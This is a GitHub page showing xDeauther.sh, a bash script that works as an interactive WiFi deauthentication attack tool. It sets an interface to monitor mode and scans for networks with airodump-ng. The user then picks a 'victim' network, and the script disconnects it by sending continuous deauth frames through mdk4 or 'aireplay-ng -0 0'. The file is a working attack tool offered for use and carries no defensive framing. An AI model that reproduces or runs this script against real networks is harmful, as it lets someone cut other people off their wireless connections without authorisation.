-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathxDeauther.sh
executable file
·263 lines (246 loc) · 9.14 KB
/
xDeauther.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
#!/bin/bash
#xDeauther v1.0
#Coded by G4L1L30
#warna
H='\033[30m'
R='\033[31m'
G='\033[32m'
B='\033[34m'
P='\033[35m'
C='\033[36m'
Y='\033[33m'
W='\033[97m'
bgH='\033[40m'
bgR='\033[41m'
bgG='\033[42m'
bgB='\033[44m'
bgP='\033[45m'
bgC='\033[46m'
bgY='\033[43m'
bgW='\033[107m'
BOLD='\033[1m'
RST='\033[0m'
trap quit INT
if [[ "$(id -u)" -ne 0 ]]; then
banner
echo -e "[${R}${BOLD}!${RST}] This script must run as root!"
exit
fi
function banner() {
echo -e """
${R}▒██ ██▒▓█████▄ ▓█████ ▄▄▄ █ ██ ▄▄▄█████▓ ██░ ██ ▓█████ ██▀███
▒▒ █ █ ▒░▒██▀ ██▌▓█ ▀▒████▄ ██ ▓██▒▓ ██▒ ▓▒▓██░ ██▒▓█ ▀ ▓██ ▒ ██▒
░░ █ ░░██ █▌▒███ ▒██ ▀█▄ ▓██ ▒██░▒ ▓██░ ▒░▒██▀▀██░▒███ ▓██ ░▄█ ▒
░ █ █ ▒ ░▓█▄ ▌▒▓█ ▄░██▄▄▄▄██ ▓▓█ ░██░░ ▓██▓ ░ ░▓█ ░██ ▒▓█ ▄ ▒██▀▀█▄
▒██▒ ▒██▒░▒████▓ ░▒████▒▓█ ▓██▒▒▒█████▓ ▒██▒ ░ ░▓█▒░██▓░▒████▒░██▓ ▒██▒
▒▒ ░ ░▓ ░ ▒▒▓ ▒ ░░ ▒░ ░▒▒ ▓▒█░░▒▓▒ ▒ ▒ ▒ ░░ ▒ ░░▒░▒░░ ▒░ ░░ ▒▓ ░▒▓░
░░ ░▒ ░ ░ ▒ ▒ ░ ░ ░ ▒ ▒▒ ░░░▒░ ░ ░ ░ ▒ ░▒░ ░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ░ ░ ░ ▒ ░░░ ░ ░ ░ ░ ░░ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░${RST} ${G}${BOLD}~=:by G4L1L30:=~${RST}
> ${C}\033[4mhttps://github.com/xG4L1L30x/xDeauther${RST} <
"""
}
function dependencies() {
command -v aircrack-ng > /dev/null 2>&1 || { echo -e "[${R}${BOLD}!${RST}] Dependencies not installed! Please run install.sh first"; exit; }
command -v mdk4 > /dev/null 2>&1 || { echo -e "[${R}${BOLD}!${RST}] Dependencies not installed! Please run install.sh first"; exit; }
command -v xterm > /dev/null 2>&1 || { echo -e "[${R}${BOLD}!${RST}] Dependencies not installed! Please run install.sh first"; exit; }
}
function interface() {
echo -e "-=[ ${Y}${BOLD}SELECT INTERFACE${RST} ]=-\n"
ip link | grep -E "^[0-9]+" | awk -F':' '{ print $2 }' 1> tmp/iface.txt
cat tmp/iface.txt | awk '{ print $1 }' | awk '{print "[" "\033[32m\033[1m"NR "\033[0m] " $s}'
echo ""
echo -ne "${bgR}${H}xDeauther${RST}:${C}${BOLD}Interface${RST} => "; read slct_interface
echo ""
iface=$(sed "$slct_interface!d" tmp/iface.txt | awk '{ print $1 }')
if [[ $iface == "" ]] && [[ $slct_interface == 0 ]] || [[ $slct_interface =~ [a-zA-Z]+ ]]; then
echo -e "[${R}${BOLD}!${RST}] Invalid Option! Please select number\n"
interface
else
loading
check_mode
fi
}
function check_mode() {
mode=$(iw $iface info | grep "type" )
if [[ $mode == *'monitor'* ]]; then
echo -e "\n[${Y}${BOLD}*${RST}] Interface already in monitor mode"
sleep 2
echo -e "[${G}${BOLD}+${RST}] Set ${C}${BOLD}$iface${RST} to main interface"
sleep 2
clear
banner
weapons
else
echo -e "\n[${R}${BOLD}!${RST}] Interface isnt on monitor mode!"
sleep 2
loading2
change_mode
fi
}
function change_mode() {
airmon-ng start $iface > /dev/null 2>&1
chck=$(iw $iface info | grep "type" )
if [[ $chck == *'monitor'* ]]; then
echo -e "\n\n[${G}${BOLD}+${RST}] Success change to monitor mode"
sleep 2
echo -e "[${G}${BOLD}+${RST}] Set ${C}${BOLD}$iface${RST} to main interface"
sleep 2
clear
banner
weapons
elif [[ $chck == *'managed'* ]]; then
echo -e "\n\n[${R}${BOLD}!${RST}] Interface doesnt supported!"
sleep 2
clear
banner
interface
fi
chckmon=$(ip link | grep -E "^[0-9]+" | awk -F':' '{ print $1 $2 }' | grep "mon")
if [[ $chckmon == *'mon'* ]]; then
iface="${iface}mon"
fi
}
function weapons() {
echo -e "-=[ ${Y}${BOLD}SELECT WEAPONS${RST} ]=-\n"
echo -e "[${G}${BOLD}1${RST}] mdk4 [${R}${BOLD}BRUTAL${RST}]"
echo -e "[${G}${BOLD}2${RST}] aireplay-ng [${Y}${BOLD}NORMAL${RST}]"
echo -ne "\n${bgR}${H}xDeauther${RST}:${C}${BOLD}Weapons${RST} => "; read slct_weapons
if [[ $slct_weapons == 1 ]]; then
echo -e "\n[${G}${BOLD}+${RST}] Set ${R}${BOLD}mdk4${RST} weapon"
weapon="mdk4"
elif [[ $slct_weapons == 2 ]]; then
echo -e "\n[${G}${BOLD}+${RST}] Set ${R}${BOLD}aireplay-ng${RST} to weapon"
weapon="aireplay-ng"
else
echo -e "\n[${R}${BOLD}!${RST}] Invalid Option! Please select number\n"
weapons
fi
sleep 2
clear
banner
target
}
function target() {
echo -e "-=[ ${Y}${BOLD}EXPLORING TARGET${RST} ]=-\n"
loading3&
echo -e "[${Y}${BOLD}*${RST}] Wait at least 5 second and then press CTRL+C to stop"
xterm -e /bin/bash -l -c "airodump-ng -w tmp/target --output-format csv ${iface}"
clear
banner
echo -e "-=[ ${Y}${BOLD}SELECT TARGET${RST} ]=-\n"
rmline=$(grep -n "Station MAC" tmp/target-01.csv | awk -F':' '{ print $1 }')
rmline=$(($rmline - 1))
sed "${rmline}~1d" tmp/target-01.csv > tmp/target.csv
sed '1d' tmp/target.csv | cut -d, -f 14,4,1,6 | awk -F',' '{ print $4"," $1"," $2"," $3 }' > tmp/showtarget.csv
column -s, -t < tmp/showtarget.csv > tmp/target.txt
awk '{ print "[""\033[32m\033[1m"NR-1"\033[0m]" $s }' tmp/target.txt | sed '1s/0/#/'> tmp/showtarget.txt
cat tmp/showtarget.txt
echo -ne "\n${bgR}${H}xDeauther${RST}:${C}${BOLD}Target${RST} => "; read slct_target
slct_target=$(($slct_target + 1))
ESSID=$(sed '1d' tmp/target.csv | cut -d, -f 14,4,1,6 | awk -F',' '{ print $4 }' | sed "${slct_target}!d")
BSSID=$(sed '1d' tmp/target.csv | cut -d, -f 14,4,1,6 | awk -F',' '{ print $1 }' | sed "${slct_target}!d")
channel=$(sed '1d' tmp/target.csv | cut -d, -f 14,4,1,6 | awk -F',' '{ print $2 }' | sed "${slct_target}!d")
echo -e "\n[${G}${BOLD}+${RST}] Set${R}${BOLD}${ESSID}${RST} to victim"
sleep 2
clear
banner
launch_attack
}
function launch_attack() {
echo -e "-=[ ${R}${BOLD}LAUNCH ATTACK!${RST} ]=-\n"
echo -e "[ ${G}${BOLD}Victim${RST} ]"
echo -e "[${Y}${BOLD}*${RST}] Network:${ESSID}"
echo -e "[${Y}${BOLD}*${RST}] BSSID: ${BSSID}"
echo -e "[${Y}${BOLD}*${RST}] Channel:${channel}"
echo -e "\n[ ${G}${BOLD}Tools${RST} ]"
echo -e "[${Y}${BOLD}*${RST}] Interface: ${iface}"
echo -e "[${Y}${BOLD}*${RST}] Weapon: ${weapon}"
echo -e "\nAre you sure to attack this network?[${G}y${RST}/${R}n${RST}]\n"
echo -ne "${bgR}${H}xDeauther${RST}:${C}${BOLD}Attack${RST} => "; read launch
if [[ $launch == y ]] || [[ $launch == Y ]]; then
echo -e "\n[${Y}${BOLD}*${RST}] ${R}${BOLD}LAUNCH ATTACKK!!..${RST}"
sleep 2
clear
banner
echo -e "-=[ ${R}${BOLD}ATTACKING${RST} ]=-\n"
echo -e "[${Y}${BOLD}*${RST}] Attacking${R}${ESSID}...${RST}"
echo -e "[${Y}${BOLD}*${RST}] Press CTRL+C to stop attack"
case $slct_weapons in
1 )
xterm -fg "#FF0000" -T "Deauth${ESSID} with mdk4" -e /bin/bash -l -c "mdk4 ${iface} d -B ${BSSID} -c ${channel}"
;;
2 )
xterm -T "Wait... Set Channel" -e /bin/bash -l -c "timeout 2 airodump-ng -c ${channel} ${iface}"
sleep 1
xterm -fg "#FF0000" -T "Deauth${ESSID} with aireplay-ng" -e /bin/bash -l -c "aireplay-ng -0 0 -a ${BSSID} --ignore-negative-one ${iface}"
esac
echo -e "\n[${Y}${BOLD}*${RST}] Do you want to exit?[${G}y${RST}/${R}n${RST}]"
echo -ne "\n${bgR}${H}xDeauther${RST}:${C}${BOLD}eXit?${RST} => "; read close
elif [[ $launch == n ]] || [[ $launch == N ]]; then
sleep 2
clear
banner
weapons
fi
if [[ $close == y ]] || [[ $close == Y ]]; then
quit
elif [[ $close == n ]] || [[ $close == N ]]; then
clear
banner
weapons
fi
}
function loading3() {
for (( i = 0; i <= 10 ; i++ )); do
echo -ne "[${C}―${RST}] Exploring for target...\r"
sleep 0.1
echo -ne "[\]\r"
sleep 0.1
echo -ne "[${C}│${RST}]\r"
sleep 0.1
echo -ne "[${C}/${RST}]\r"
sleep 0.1
done
}
function loading2() {
for (( i = 0; i <= 8 ; i++ )); do
echo -ne "[${C}―${RST}] Change interface mode to monitor...\r"
sleep 0.1
echo -ne "[\]\r"
sleep 0.1
echo -ne "[${C}│${RST}]\r"
sleep 0.1
echo -ne "[${C}/${RST}]\r"
sleep 0.1
done
}
function loading() {
for (( i = 0; i <= 8 ; i++ )); do
echo -ne "[${C}―${RST}] Check interface mode...\r"
sleep 0.1
echo -ne "[\]\r"
sleep 0.1
echo -ne "[${C}│${RST}]\r"
sleep 0.1
echo -ne "[${C}/${RST}]\r"
sleep 0.1
done
}
function quit() {
echo -e "\n\n[${R}${BOLD}-${RST}] Cleaning temporary file..."
rm tmp/*
if [[ $( iw $iface info | grep "type" ) == *'monitor'* ]]; then
sleep 2
echo -e "[${R}${BOLD}-${RST}] Set interface to managed mode..."
airmon-ng stop $iface > /dev/null 2>&1
fi
sleep 2
echo -e "[${Y}${BOLD}*${RST}] Thx for using my script :)"
exit
}
clear
banner
dependencies
interface